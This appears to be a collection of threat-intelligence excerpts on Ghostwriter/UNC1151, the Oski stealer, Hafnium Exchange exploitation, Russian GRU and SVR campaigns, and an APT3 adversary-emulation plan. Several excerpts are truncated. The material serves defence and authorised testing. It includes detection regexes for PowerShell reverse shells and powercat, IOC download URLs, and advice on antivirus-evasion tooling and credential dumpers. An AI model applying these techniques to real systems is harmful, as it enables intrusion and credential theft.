Another suspected Ghostwriter operation promoted a narrative between October 22-26, 2020, suggesting that NATO is preparing its military for a war with Russia, which would ostensibly take place in Poland, Latvia, and Lithuania, a narrative consistent with those promoted in past Ghostwriter operations that appear intended to undermine NATO’s presence in—and security cooperation with—those three specific countries. In addition to spreading this narrative via a fabricated article published to multiple websites, including sites used in previous Ghostwriter operations, links to that article were also disseminated via posts by multiple compromised social media accounts belonging to Polish officials.
- The operation used at least three compromised social media accounts of Polish officials to disseminate links to the fabricated article published on three websites. The accounts belong to two current members and one former member of the Polish parliament from the PiS party: Joanna Borowiak (Twitter), Marcin Kamil Duszek (Facebook), and Andrzej Melak (Facebook).
## UNC1151 Conducts Components of Ghostwriter Influence Activity
We assess with high confidence that UNC1151, a suspected state-sponsored cyber espionage group, conducts at least some components of Ghostwriter influence activity; current intelligence gaps, including gaps pertaining to website compromises and the operation of false personas, do not allow us to conclusively attribute all aspects of the Ghostwriter campaign to UNC1151 at this time. UNC1151 intrusion activity has been active since at least 2017 and has included credential harvesting campaigns targeting European government and media entities as well as some instances of using spear phishing to distribute malware. We do not associate UNC1151 with any other previously tracked threat groups and do not make any further attribution assessment at this time.
### UNC1151 Overview
UNC1151 has conducted numerous campaigns designed to steal credentials and deliver malware via spear phishing. The group uses an extensive array of domains that mimic major and regional web services and host pages designed to trick a victim into entering their credentials. Less frequently, the group has distributed malware via phishing emails with malicious attachments, including RADIOSTAR, VIDEOKILLER, and HALFSHELL malware.
- **Credential Harvesting Operations:** UNC1151 has been uncovered conducting credential harvesting operations targeting government, military, and media entities in Poland, Ukraine, and the Baltics. UNC1151 has also targeted personal email accounts of individuals of interest to them, such as journalists and activists. Since the start of 2021, this credential theft activity has expanded to target German individuals, with a focus on politicians.
## Conclusion
Mandiant Threat Intelligence has continuously investigated and reported on the ongoing Ghostwriter influence campaign since publicly naming it in July 2020. We have since observed a seeming expansion of the narratives, targeting, and TTPs associated with Ghostwriter activity and developed further intelligence that leads us to assess that the cyber espionage group UNC1151 conducts at least some components of Ghostwriter activity. We have also identified Ghostwriter influence activity extending back years before we formally identified the campaign in 2020. However, current intelligence gaps, including gaps pertaining to website compromises and the operation of false personas, do not allow us to conclusively attribute all aspects of the Ghostwriter campaign to UNC1151 at this time. |
# Oski Stealer: A Credential Theft Malware
Credential theft malware continues to be one of the most prevalent sorts of malware employed in cyber attacks. The main objective of nearly all credential theft malware is to assemble as much confidential and sensitive information, like user credentials and financial information, as possible.
The Oski stealer is a malicious information stealer, which was first introduced in November 2019. The Oski stealer steals personal and sensitive credentials from its target so the attackers responsible can misuse it to generate revenue in various ways. Research shows that this information stealer is distributed through deceptive websites that are opened due to hijacked router DNS settings. Oski is currently being sold on Russian underground hacking forums at a low price of $70-$100.
Researchers at CyberArk have analyzed the latest malware samples they could obtain and report on the complete list of Oski’s capabilities. Written in C++, the malware can steal the following:
- Login credentials from different applications
- Browser information (cookies, autofill data, and credit cards)
- Crypto wallets
- System information
- Capture screenshots
- Different user files
The code of the malware is clean and indicates that the author is knowledgeable, ensuring reliable operation. However, Oski doesn’t have any sophisticated obfuscation, anti-analysis, or anti-debugging tricks yet, but this may be added later. The neat code base creates the setting to work on this tool further and add more features in the future.
Attackers try to trick users into installing Oski by hijacking router DNS settings so that browsers then open corrupted pages and pop-ups. This motivates visitors to install an application designed to deliver the latest information regarding COVID-19. In fact, the file downloaded through these malicious sites installs Oski, a trojan horse capable of stealing sensitive information. It targets data from browsers like cookies and browsing history, autofill data, and saved login credentials. It also attempts to steal databases that contain two-factor authentication data, cryptocurrency wallets, and Word files, and might take screenshots of the victim’s screen and perform other dubious actions. Attackers behind Oski can hijack various accounts, including social media, email, cryptocurrency trading accounts, and more.
Furthermore, they may be capable of hijacking accounts that have an extra layer of protection beyond passwords. Cyber criminals misuse stolen accounts to create fraudulent purchases and transactions, spread spam campaigns, trick other users into paying money to them, steal identities, etc. They may also access text and document files containing sensitive information, take screenshots when victims open them, or capture other computing activities. Victims of Oski attacks might thus suffer monetary loss, have their identities stolen, and experience problems regarding online privacy, browsing safety, and other serious issues. Therefore, this malware must be removed from infected systems immediately.
## Other Harmful Features of Oski Stealer
Oski Stealer modifies the default registry settings by making malicious entries, allowing the virus to be automatically activated every time the machine starts. It interferes with important system files essential for smooth computer functioning and prevents many installed apps and drivers from working properly. It displays bogus security warnings, error messages, and update notifications, trying to force users into installing fake software. This nasty trojan keeps performing malicious acts in the background, consuming enormous amounts of memory resources and severely degrading PC performance. It causes the device to respond very slowly and take an excessive amount of time to complete any task. It assists remote criminals in gaining access to your system and conducting malevolent deeds for their benefit. Given these hazards, you are strongly recommended to delete Oski Stealer from your PC without delay. To prevent this, you should only choose reliable or official websites and direct links to download any application and avoid using unofficial domains and other third-party downloaders, peer-to-peer networks, and freeware download pages.
## To Remove Malware
If you’re concerned that malware or PC threats like Oski Stealer may have infected your computer, we recommend you begin an in-depth system scan with SpyHunter. SpyHunter is a comprehensive malware protection and remediation application that provides subscribers with a method for safeguarding PCs from malware, in addition to offering one-on-one technical support service. |
# MegaCortex Ransomware Revamps for Mass Distribution
Microsoft Word also leveraged in the email campaign, which uses a 22-year-old Office RCE bug. |
# Hafnium Update: Continued Microsoft Exchange Server Exploitation
Update 3/11: The following OSQuery detects active commands being run through webshells observed used by actors on compromised Exchange servers. While systems may have been patched to defend against Hafnium and others, threat actors may have leveraged these vulnerabilities to establish additional persistence in victim networks. A thorough forensic investigation will be required to determine additional compromises.
It's been a week since Microsoft first disclosed several zero-day vulnerabilities in Exchange Server — and the scope has only grown since then. In its disclosure, Microsoft stated that a new threat actor known as Hafnium was exploiting these vulnerabilities to steal emails. Since Microsoft's initial disclosure, Cisco Talos has seen shifts in the tactics, techniques, and procedures (TTPs) associated with this activity. The majority of the activity continues to follow the guidance that was previously provided. We are, however, starting to see other groups' activity in active incidents Cisco Talos Incident Response (CTIR) is responding to. These actors appear to be separate from the initial "HAFNIUM" actor and include groups that are leveraging infrastructure previously attributed to cryptocurrency mining campaigns, groups creating or accessing web shells using notepad.exe or notepad++.exe and large amounts of scanning activity without successful exploitation.
We have also identified organizations that may be involved in post-exploitation activity. The victimology shows that financial services have been disproportionately affected by exploitation, with a few other notable verticals following including health care, education, and local/state governments. This shows that, although the initial activity may have followed closely with the guidance provided by Microsoft, as time passes, the amount of groups exploiting these vulnerabilities is only going to increase. This compounds the importance of patching these vulnerabilities as soon as possible.
Talos also has some new additions to the IOCs to look out for and other forms of coverage in Cisco Secure products.
As the days have passed the amount of victims and scope of the compromise has grown significantly. As more actors move into the space, it's likely going to get worse. We encourage everyone to patch as soon as possible. However, it may be too late for any users who had a Microsoft Exchange server exposed. In those cases, it's important to hunt for potential exploitation and any consequences. First, we'll walk through Cisco Secure Orbital queries and how they can help users who fear they could be targets.
## Hunting Hafnium using OSQuery and Orbital
Cisco Secure Endpoint customers have access to Orbital queries. These leverage osquery to allow customers to query their endpoints directly. There are several ways a customer can leverage this to identify potential Hafnium incidents.
Let's start by looking for the backdoors that may be present on servers. We'll begin by executing a query looking for them. These payloads can include things like web shells and potentially other utilities like powercat. After the user has logged into the Orbital portal, they can select the endpoints they want to run the queries against, which in this case, may be the applicable Exchange servers. Then, you provide a custom SQL looking for the web shells, which has been provided below.
```sql
SELECT script_path, script_text, DATETIME(time, "unixepoch", "UTC") AS creation_time
FROM orbital_powershell_events
WHERE regex_match(script_text, "New-Object\s+System\.Net\.Sockets\.TCPClient.+.GetStream\s*\(\s*\).*\[\s*byte\s*[\s*\]\s*\].*0\.\.65535\|:ASCII\)\.GetBytes.+.Write\s*\(.+.Flush\s*\(\s*\)\s*\}.+.Close\s*(\s*\)",0);
```
One thing of note here is that the orbital_powershell_events table is being used. Those familiar with osquery may have been expecting powershell_events, but the Orbital team has built their own version and that is what the query is based on. If you are attempting more general osquery requests outside of orbital, please use powershell_events instead. This particular regex will match on the web shells that have been attributed to these campaigns. Any results should be triaged and responded to accordingly.
The example above is an example of how to search for the webshells. Now, let's focus on some of the other payloads like powercat. Here is a second query that is specifically looking for powercat, one of the other non-webshell based payloads, which is provided below:
```sql
SELECT script_path, script_text, DATETIME(time, "unixepoch", "UTC") AS creation_time
FROM orbital_powershell_events
WHERE script_path LIKE "%raw.githubusercontent.com/besimorhino/powercat%"
OR script_path LIKE "%powercat.ps1%";
```
Again, this query makes use of orbital_powershell_events and should be modified if applying it to non-orbital-based systems. This query, once executed, should also provide customers with the systems where this activity is likely to be found.
Let's move past the initial compromise and start looking for some of the post-exploitation activity. One of the most common post-exploitation activities was for the adversaries to export mailboxes. This can also be found using the same Orbital interface with another query, provided below.
```sql
SELECT script_path, script_text, DATETIME(time, "unixepoch", "UTC") AS creation_time
FROM orbital_powershell_events
WHERE regex_match(script_text, "Add-PSSnapin Microsoft.Exchange.Management.Powershell.SnapIn;(Get-MailboxExportRequest|Get-Mailbox
)", 0);
```
This query will identify the mailbox export requests that are part of the TTPs associated with these campaigns. Again, if executed properly, it should show the customer what systems have potentially been affected and whether or not a mailbox export has already occurred. These types of queries can be invaluable to a security organization trying to identify, not only if they were a victim, but how severe the effects may be. These queries are an excellent resource for security organizations, but it isn't the only way you can identify the activity in your environment.
## Hunting Hafnium using Cisco Secure IPS
Part of our coverage includes NGIPS signatures that can identify the scanning and exploitation activity, as well as the post exploitation activity of web shells. As such, it can be leveraged to see if and how your enterprise may have been affected. Start by logging into your console and then browsing to intrusion events and editing a search. Now you can focus the search for just the applicable signatures associated with Hafnium (57233-57246, 57251-57253). This will allow only the events associated with Hafnium and applicable webshells to be shown, this can be achieved by searching by Snort ID. Please note that some of these signatures do require TLS decryption to be in place with Exchange servers similar to how it was required for Blue Keep detection.
After adjusting the search to cover the applicable time frame, there will be a list of the signatures that fired in the environment during that period. If you click through, you can get details about the systems that are affected and review any packet capture data obtained. At this point, defenders can use the IOCs derived from these events to potentially focus any additional investigations or as potential support of investigations already underway.
One of the most important takeaways for defenders is around the web shell signatures. Just because you found a web shell does not mean you were a Hafnium target. Web shells are a common payload and may be the result of other actors leveraging other vulnerabilities. Regardless of their origins, they should be thoroughly investigated and remediated.
These are just a few examples of ways that Cisco Secure products can be leveraged to identify if your enterprise was potentially affected and what payloads may have been dropped by the adversary. Customers could also search for other relevant IOCs such as domains and IPs in other Cisco Secure solutions like Umbrella and Cisco Secure Network Analytics.
If you find yourself a victim to this campaign or others that have dropped webshells and think you may need incident response help, CTIR has already been dealing with multiple incidents and stands ready to help remediate any issues that may have been uncovered.
## Conclusion
As the days have passed, the effect of Hafnium has only grown. Patching is the first order of business for any organization, but shortly thereafter, or concurrently, investigation into if and how you were compromised is going to be paramount. Talos' intelligence provides many avenues for defenders to not only prevent compromise from occurring as the amount of actors leveraging these vulnerabilities increases, but also hunt for any activity that may have already occurred. As we learn more about the nature of these attacks and the end goals, we will continue to provide updates on what we are seeing in the field from the perspective of our threat intelligence researchers and incident responders.
## Coverage
**Snort SIDs:**
- CVE-2021-26857 — 57233-57234
- CVE-2021-26855 — 57241-57244
- CVE-2021-26858 & CVE-2021-27065 — 57245-57246
- CVE-2021-24085 — 57251
- CVE-2021-27065 — 57252-57253
- Html.Webshell.Hafnium — 57235-57240
***Please note that TLS Decryption is required for detection of the Exchange related SIDs. This is similar to what was required for blue keep.***
**ClamAV coverage:**
- Win.Trojan.MSExchangeExploit-9838898-0
- Win.Trojan.MSExchangeExploit-9838899-0
- Win.Trojan.MSExchangeExploit-9838900-0
- Asp.Trojan.Webshell0321-9839392-0
- Asp.Trojan.Webshelljs0321-9839431-0
- Asp.Trojan.Webshell0321-9839771-0
**Additional AMP Cloud IOCs for tools and malware related to these attacks:**
- **Powercat:**
- Signature name: 20200719101800-3: PowerShell Download String
- Signature name: 20190301175656-4: Raw GitHub Argument
- **Lsass dumping:**
- Signature name: 20201124100140-2: RunDLL32 Suspicious Process
Cisco Secure Endpoint (AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Cloud Web Security (CWS) web scanning prevents access to malicious websites and detects malware used in these attacks. Cisco Secure Email can block malicious emails sent by threat actors as part of their campaign. Cisco Secure Firewall/Secure IPS appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), Cisco ISR, and Meraki MX can detect malicious activity associated with this threat. Cisco Secure Network/Cloud Analytics (Stealthwatch / Stealthwatch Cloud) and Cisco Secure Malware Analytics (Threat Grid) help identify malicious binaries and build protection into all Cisco Security products. Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Additional protections with context to your specific environment and threat data are available from the Firepower Management Center.
**Indicators of Compromise (IOCs)**
- **Domains (Previously associated with Powerghost):**
- owa[.]conf1g[.]com
- box[.]conf1g[.]com
- **Suspicious Powershell download activity:**
- hxxp://cdn.chatcdn[.]net/p?hig190509
- hxxp://cdn.chatcdn[.]net/p?hig190521
- hxxp://cdn.chatcdn[.]net/p?hig200720
- hxxp://cdn.chatcdn[.]net/p?hig210304
- hxxp://cdn.chatcdn[.]net/p?hig210305
- hxxp://cdn.chatcdn[.]net/p?low190617
- hxxp://p.estonine[.]com/low?ipc
- hxxp://p.estonine[.]com/p?e
- hxxp://p.estonine[.]com/p?smb |
# Overview of Russian GRU and SVR Cyberespionage Campaigns 1H 2022
## Background
In 2015 and 2016, the Democratic National Committee (DNC) was hacked by two Russian intelligence services, the Russian Main Intelligence Directorate (GRU) and the Russian Foreign Intelligence Service (SVR). The two advanced persistent threat (APT) groups attributed to these organizations coexisted inside the DNC's networks for months and provided valuable political intelligence to the Russian government, in the form of stolen files and emails, during the run-up to the US presidential election. This audacious act of cyber-espionage brought these two APT groups, also known as FancyBear and CozyBear (coined by CrowdStrike), into the spotlight.
On 24 February 2022, Russia invaded Ukraine, and these two well-known APT groups (among many others) have been busy launching widespread intelligence-gathering intrusion campaigns to support the Russian government and military. This blog aims to leverage open source intelligence (OSINT) reports to highlight the recent publicly known tactics, techniques, and procedures (TTPs) leveraged by these cyber adversaries in 1H 2022 and their significance. For many top enterprises, government organizations, and political entities, these hacking groups operating on behalf of the Russian GRU and SVR are priority threats whose capabilities are of utmost concern.
## Russian GRU Activities in 1H 2022
On 14 January, @billyleonard from the Google Threat Analysis Group (TAG) reported that FancyBear was behind an ongoing credential phishing campaign focused on Ukraine. The group leveraged *.eu3[.]biz, *.eu3[.]org, and blogspot[.]com hostnames as part of its phishing infrastructure.
On 7 March, Google TAG disclosed that FancyBear conducted several large credential phishing campaigns targeting ukr[.]net users (UkrNet is a Ukrainian media company). This campaign included malicious links to blogspot[.]com sites that redirected to credential harvesting pages hosted on *.frge[.]io. These phishing links were also sent from email accounts that had been compromised prior by the APT group.
On 16 March, the Computer Emergency Response Team of Ukraine (CERT-UA) issued an alert that further highlighted how UAC-0028 (CERT-UA's name for FancyBear) was phishing UkrNet accounts, but this time the APT group used the tinyurl[.]com URL-shortening service embedded inside a QR code that would lead to UkrNet credential harvesting sites with *.frge[.]io and *.m.pipedream[.]net hostnames.
On 7 April, the Microsoft Threat Intelligence Center (MSTIC) and the Microsoft Digital Crimes Unit obtained a court order authorizing them to take control of seven internet domains Strontium (Microsoft's name for FancyBear) used to conduct phishing attacks against Ukrainian media organizations, as well as government institutions and think tanks in the US and the EU involved in foreign policy.
On 27 April, Microsoft's Special Report on Ukraine revealed additional details on Strontium's campaigns:
- In August 2021, Microsoft recorded Strontium targeting defense-related organizations in Ukraine.
- On 4 March, Microsoft specifically noted that the network of the government of Vinnytsia (a city in west-central Ukraine) was also compromised by Strontium and that it sought access via phishing to other Ukrainian military personnel and regional Ukrainian government employee accounts.
- In April, Microsoft observed Strontium and other suspected Russian nation-state threat actors launch campaigns against or expand on existing access in the communications sector, targeting the IT infrastructure that supports the sector and a major internet service provider (ISP).
On 3 May, Google TAG provided an update on cyber activity in Eastern Europe. FancyBear was observed targeting users in Ukraine with a new variant of infostealer malware distributed via email attachments. The new FancyBear malware is a .NET executable that, when run by the victim, steals cookies and saved passwords from Chrome, Edge, and Firefox browsers. The data is then exfiltrated via email to a compromised email account.
On 6 May, CERT-UA issued an alert that UAC-0028 sent malicious emails posing as CERT-UA and contained an attachment in the form of a password-protected RAR archive "UkrScanner.rar". Inside the RAR file was a Self-Extracting Archive (SFX) of the same name, which, in turn, contains malware dubbed CredoMap. Data collected by the malware was exfiltrated via HTTP POST requests to *.m.pipedream[.]net hostnames.
On 20 June, CERT-UA warned of another UAC-0082 attack, this time pushing a malicious document called "Nuclear Terrorism A Very Real Threat.rtf" via email. If opened, the document will download an HTML file with embedded JavaScript code from a *.frge[.]io hostname that exploits CVE-2022-30190, a remote code execution (RCE) bug in the Microsoft Windows Support Diagnostic Tool (MSDT) (aka the "Follina" exploit). If executed successfully by the victim, the exploit chain downloads the CredoMap malware.
## Russian SVR Activities in 1H 2022
On 27 January, CrowdStrike published a comprehensive report on the 'StellarParticle Campaign' associated with CozyBear. The report highlighted the novel tactics and techniques leveraged by the Russian SVR hacking group throughout 2021. This included details from the SolarWinds supply chain attack, browser cookie theft, and Microsoft Service Principal manipulation.
On 18 February, the Shadow Chaser Group tweeted a suspected sample of APT29 malware known as EnvyScout. The attackers leveraged the HTML smuggling technique to deliver an ISO file that, if executed, runs a DLL on the victim's device. This incident used a COVID-19 theme and reportedly was aimed at the Embassy of the Republic of Turkey.
On 4 March, the Telsy Threat Intelligence team disclosed several suspected spear-phishing attempts against Indian government entities. The phishing attempts were tentatively attributed to Nobelium/APT29 due to the mutual use of a Cobalt Strike watermark ("1359593325") and an infection chain that matches reports by Microsoft and Volexity on Nobelium/APT29 campaigns.
On 18 April, InQuest Labs discovered a malicious file belonging to Nobelium called "Ambassador_Absense.docx," posing as an official document from the Israeli Embassy in London. Opening the document downloads an HTML Application (.HTA) file with embedded JavaScript that decrypts and executes the payload. Once launched, the malicious payload collects data about the local system and exfiltrates it to a remote server using api[.]trello[.]com.
On 27 April, Microsoft's Special Report on Ukraine revealed additional details on Nobelium's campaigns:
- In early 2021, Microsoft observed Nobelium launching a large-scale phishing campaign against Ukrainian interests involved in rallying international support against Russian actions.
- By mid-2021, Nobelium attempted to access IT firms serving government customers in predominantly NATO member states, at times successfully compromising and leveraging privileged accounts to breach and steal data from Western foreign policy organizations.
- As 2021 progressed, the Nobelium group, alongside several other suspected Russian nation-state threat actors, sought persistent access to their particular interests among a total target pool that included Ukrainian defense, defense industrial base, foreign policy, national and local administration, law enforcement, and humanitarian organizations.
Also on 27 April, Mandiant released a blog stating that it had gathered sufficient evidence to assess that the activity previously tracked as UNC2452, the threat group responsible for the SolarWinds compromise in December 2020, is attributable to APT29.
On 28 April, Mandiant published a report on tracking APT29 phishing campaigns targeting diplomatic organizations in Europe, the Americas, and Asia. It included the disclosure of two new APT29 malware families uncovered in 2022, dubbed BEATDROP and BOOMMIC, and details about APT29’s efforts to evade detection through retooling and abuse of Atlassian's Trello API service: api[.]trello[.]com.
On 2 May, Mandiant also disclosed a new campaign tracked as UNC3524 that has reportedly been active since December 2019. UNC3524 campaigns facilitate bulk email collection from victim environments, especially as it relates to their support of suspected espionage objectives. Notably, this threat actor leveraged a Dropbear-based backdoor, dubbed QUIETEXIT, on embedded network devices (such as VPN appliances) to access MS Office 365 or on-premises MS Exchange emails. Another interesting tactic is that UNC3524 usually accessed its victim's system from other compromised devices, usually outdated and unpatched LifeSize conference IoT cameras. Mandiant analysts tentatively attributed this campaign to APT29. However, the technical overlaps included TTPs that had already been made public, and there were also some aspects aligned to APT28, which could suggest the two groups share some tooling.
On 5 May, the Shadow Chaser Group tweeted a suspected sample of APT29 malware that leveraged DLL side-loading as a method of executing their payload by invoking a legitimate Adobe application.
On 13 May, Cluster25 published a report analyzing several CozyBear spear-phishing campaigns involving the above-mentioned use of a side-loaded DLL through signed software (like Adobe suite) alongside the use of the legitimate Dropbox service api[.]dropbox[.]com as a communication vector. The Cluster25 researchers also stated that this CozyBear campaign potentially impacted at least Greece, Italy, Turkey, and Portugal, especially in the government and foreign affairs sectors.
On 9 June, the Shadow Chaser Group tweeted another suspect sample of APT29 malware that also leveraged DLL side-loading as a method of executing their payload by invoking a legitimate Hewlett Packard application.
On 22 June, Microsoft released another report on 'Defending Ukraine: Early Lessons from the Cyber War' and included additional details about some of the SVR's campaigns. The Nobelium group has continued to target Ukrainian and NATO member states' diplomatic entities with password spraying and spear-phishing attacks. Microsoft also reported that the SVR's influence operations include historical revisionism and the targeting of think tanks and academics.
## Suggested Courses of Action
- Extract and ingest indicators of compromise (IOCs) from each of the reports and investigate any hits.
- Leverage detection rules for the APT group's malware to hunt through telemetry.
- Extract the legitimate services used by the APT groups to support phishing and malware campaigns, hunt for them in your telemetry, and investigate any hits:
- FancyBear: *.eu3[.]biz, *.eu3[.]org, *.blogspot[.]com, tinyurl[.]com, *.frge[.]io, and *.m.pipedream[.]net
- CozyBear: api[.]trello[.]com and api[.]dropbox[.]com
- Continue to track the campaigns of FancyBear and CozyBear and mitigate appropriately.
- Investigate the exposure of and expedite patching of CVE-2022-30190, a critical RCE in MSDT leveraged in the wild by multiple threat actors.
- Leverage the Curated Intel GitHub repository on Ukraine Cyber Operations to track the evolving threat landscape surrounding the war. |
# APT3 Adversary Emulation Plan
## Abstract
To advance the practice of security testing through adversary emulation, we present this emulation plan to be used by a team looking to emulate the APT3 threat group. It includes their commonly known behavior through the tactics, techniques, and procedures that have been documented in publicly available reporting. To ground the plan in a common taxonomy, it is based on the MITRE ATT&CK model. The scope covers the adversary lifecycle, from initial network compromise through exfiltration. It discusses tools, methods, style, tradecraft, and end-goals. To fill intel gaps, best-estimates based on experience in threat intelligence and adversary emulation are provided.
## Acknowledgments
We would like to acknowledge the people that contributed to the content, review, and format of this document. This includes: Frank Duff, Katie Nickels, and Blake Strom.
## Overview
In an effort to advance the practice of security testing through adversary emulation and adversarial engineering, we present this emulation plan to be used by an adversary emulation team looking to emulate the threat group commonly known as APT3. The plan includes the group’s commonly known behavior through the tactics, techniques, and procedures (TTPs) that have been documented in publicly available threat reporting. To ground the plan in a common taxonomy, it is based on the MITRE ATT&CK model. The scope of this emulation plan covers the adversary lifecycle, beginning with initial network compromise and ending with exfiltration. It discusses tools, methods, style, tradecraft, and end state objectives. Historically, information about attackers’ on-target actions and goals have been difficult to obtain and APT3 reporting is no exception; however, the document bases instructions off publicly accessible sources whenever possible, focusing on sources that could be cross-referenced to some degree. To fill the intel gaps, the authors relied on their experience in threat intelligence and adversary emulation for best-estimates.
Threat reporting sources vary widely, and correlation of activity to a threat group is not straightforward, and as such the authors have worked to ensure reputable sources are referenced. While many threat intelligence sources work to provide information that is as accurate as possible to the community, there is still an inherent risk that third-party threat reporting may provide inaccurate information.
Note: Within this document, italicized text represents notes. These notes represent comments that are not supported by evidence but represent the author’s opinion. For example, they discuss concessions that have been made to make the emulation instructions practical or to indicate where inconsistent or nonexistent reporting has required gaps to be filled in with best-guess estimates of adversary behavior. References are indicated in-line with bracketed numbers [#] and listed at the end of this document.
## APT3 Overview
**ATT&CK Group ID:** Group/G0022
**Aliases:** APT3, Gothic Panda, Pirpi, UPS Team, Buckeye, Threat Group-0110, TG-0110
**Operations:** Clandestine Wolf, Clandestine Fox [1], Operation Double Tap [2]
**Target Industries:** Aerospace and Defense, Construction and Engineering, High Tech, Telecommunications, Transportation [1]
**Adversary Objectives:** Reporting indicates APT3 actors are interested in exfiltration of documents [3]. They have been known to target printers and file shares [3]. They also target intellectual property, often industrial in nature. [4].
**Background:** APT3 is a China-based threat group. APT3 has traditionally targeted a myriad of US and international targets; however, reporting dated September 2016 indicates the group shifted focus around March 2016 to target Hong Kong organizations [3]. APT3’s process can be broken up into three main phases:
1. Initial Setup of command and control (C2), defense evasion techniques, and getting initial compromise
2. Discovery, privilege escalation, lateral movement, persistence, and execution
3. Collection, data staging, and exfiltration
## APT3 Tools
APT3 uses a combination of custom and openly available tools. Because custom adversary tools can have hidden functionality, be difficult to tailor to new environments, or utilize server-side controllers which may be unavailable, recommendations are made for replacements that can accurately perform similar activity. Adversary emulators and defenders should be aware that replacement tools will typically leave different footprints than adversary tools, specifically different file hashes, command line arguments, Antivirus detection, API calls, and network signatures. There are lots of ways to accomplish the same objectives with built-in Windows tools, but the focus for APT3 tends to be on more simplistic tools rather than more advanced Windows utilities like WMIC, WinRM, and PowerShell. The following table describes how to emulate the tools as well as detailing which ATT&CK Tactics are represented by them.
| Name | Software Type | Availability | Emulation Notes | ATT&CK Tactic |
|--------------------------|---------------|-------------------------|---------------------------|----------------|
| Pirpi, SHOTPUT, Backdoor.APT.CookieCutter | RAT | Custom | Standard Windows Binary based post-compromise toolkits | Defense Evasion, Credential Access, Discovery |
| PlugX | RAT | Custom, but seen across multiple groups | such as MetaSploit (free) or Cobalt Strike (paid) | Discovery |
| OSInfo | Information Discovery | Custom | Several Windows commands can be used to gather similar information | Discovery |
| Customized pwdump | Windows Password Dumper | Unmodified version openly available | Standard version of pwdump or mimikatz | Credential Access |
| Customized Mimikatz | Windows Password Dumper | Unmodified version openly available | Standard version of mimikatz | Credential Access |
| Keylogger | Keylogger | Custom | Numerous publicly available keyloggers | Collection, Credential Access |
| RemoteCMD | Remote Execution | Custom | Operates similarly to PsExec | Execution, Lateral Movement |
| Dsquery | Information Discovery | Openly Available, default on Windows Server | A copy of Dsquery can be brought onto a system if it doesn’t have it by default. | Discovery |
| ChromePass | Browser Password Dumper | Openly Available | ChromePass is a publicly available program from NirSoft | Credential Access, Collection |
| Lazagne | Application Password Dumper | Openly Available | Lazagne source code is freely available on Github | Credential Access |
| ScanBox | ExploitKit/Host Profiler, and JavaScript Keylogger | Custom | Used just before initial exploit | N/A |
## Emulation Phases
APT3 disseminates spam-like phishing campaigns with various payload delivery methods [1]. Once on a machine, the actors collect information about the victim such as connected users [14] and analyze it for its value, trying to determine where they landed and what access they have. Admin access is an obvious main target due to the increased access it will likely provide. The actors then drop multiple backdoors, usually 2-4 on the initial system and 5+ versions within the first few hops, with independent C2 profiles for redundancy. Next, they then dump as many credentials as possible, and quickly continue spreading throughout the network. They specifically go after file servers and print servers [1] [3]. Once they’re moved to all the machines they think have value, they collect all the documents they want, package them up and password protect them, and exfiltrate them out of the organization [15]. In some cases, however, they’ve been known to persist within a network for very lengthy periods without ever exfiltrating data.
The sections below show how APT3 acts through their entire lifecycle. Phase 1 documents what happens during initial compromise, phase 2 highlights techniques used during network propagation, and phase 3 documents one way they have been known to perform exfiltration.
### Phase 1 – Initial Compromise
The goal of the Initial Compromise phase is to achieve successful code execution and control of a system within the target environment. APT3 primarily conducts initial compromise using spear phishing, delivering implants through both malicious attachments and malicious links. They have used new 0-days on multiple browsers [15]. They have targeted existing 0-days in Internet Explorer [2], Windows [2], and Flash [14]. They have also been known to compromise weakly secured legitimate websites to which users are directed through spear phishing emails [16].
#### Implant Command and Control
APT3 implants issue command and control (C2) traffic as HTTP GET requests that beacon at set intervals [14]. The HTTP Cookie field contains information for the C2 server, which responds with a webpage that contains the command encoded within a specific HTML tag [15]. APT3 implants have also been known to use custom binary protocols [2]. Pirpi.2014 and Pirpi.2015 both contain several kinds of sleep and anti-sandbox strategies that cause the RAT to pause between executions [15]. Some of the Pirpi instances have been known to also use SSL for their communications and even include public/private keys within the binaries [17]. This level of C2 customization can be achieved with Cobalt Strike’s malleable C2 profiles, as seen in the accompanying Malleable C2 profile modeled on [14].
#### Defense Evasion
Many of APT3’s open source tools are customized or modified to prevent detection. Additionally, APT3’s malware uses a series of anti-disassembly techniques [3], including requiring certain command line parameters to run [17]. These are defense evasion techniques that APT3 sets up before getting initial access to the target environment. It is recommended to use anti-antivirus (AV) capabilities to prevent AV detection of commonly available tools. If Sandboxing is a problem, possibly encrypt tools to bypass sandboxing. An example of this would be Veil-Evasion [18] or Artifact Kit [19]. ATTACK techniques: T1027 – Obfuscated Files or Information, T1045 – Software Packing, T1066 – Indicator Removal from Tools.
#### Initial Access
For Initial Compromise, both web server drive-by and malicious attachments are within APT3’s tradecraft. The Social Engineering Toolkit (free) [20] and Cobalt Strike (paid) [6] have features that support these methods.
### Phase 2 - Network Propagation
The goal of the Network Propagation phase is to identify and move to desired systems within the target environment with the intention of discovering credentials and documents for exfiltration. Publicly reported direct observation of APT3’s Network Propagation techniques is almost non-existent. One report that discusses general characteristics of APT3 is [23], but it is uncertain what data sources were used to compile the listed TTPs. Aside from that report we draw conclusions of how APT3 operates based on the capabilities of Pirpi and other tools that they are reported to use. There are some persistence techniques that they have used during Initial Compromise that can be applied to Network Propagation. Despite this, there are significant gaps in the public knowledge of APT3’s tradecraft. Where necessary we fill in details with best guesses or recommendations.
### Phase 3 - Exfiltration
It’s likely that APT3 will compromise a network to a certain degree of satisfaction before starting to exfil, due to stealth concerns. Depending on the defensive setup, exfiltration could be much noisier and noticeable than attempting to hide in the noise with lay-of-the-land tools. The only source we were able to find for APT3 exfiltration methods is from 2012. For exfiltration, they will identify Office documents on the computer [23]. They then drop the command-line Chinese language version of WinRAR and use it to compress and encrypt the discovered documents [T1002 - Data Compressed]. This archive will then be stored in the recycle bin [23], usually on a machine designated as a staging server, which they move the exfiltration through [T1074 - Data Staged]. Data is exfiltrated over port 443 which is typically HTTPS traffic, however they have used SSL encryption [17] and normal HTTP [23] [T1043 - Commonly Used Port].
## Bibliography
[1] FireEye Blog. Operation Clandestine Wolf.
[2] FireEye Blog. Operation Double Tap.
[3] Symantec. Buckeye Cyberespionage Group Shifts Gaze to US, Hong Kong.
[4] Threatpost. Emergency Adobe Flash Patch Fixes Zero-Day Under Attack.
[5] Metasploit.
[6] Cobalt Strike.
[7] FireEye Blog. Clandestine Fox Part Deux.
[8] Lastline. An Analysis of PlugX Malware.
[9] PowerSploit.
[10] Mimikatz.
[11] Sysinternals.
[12] NirSoft. ChromePass.
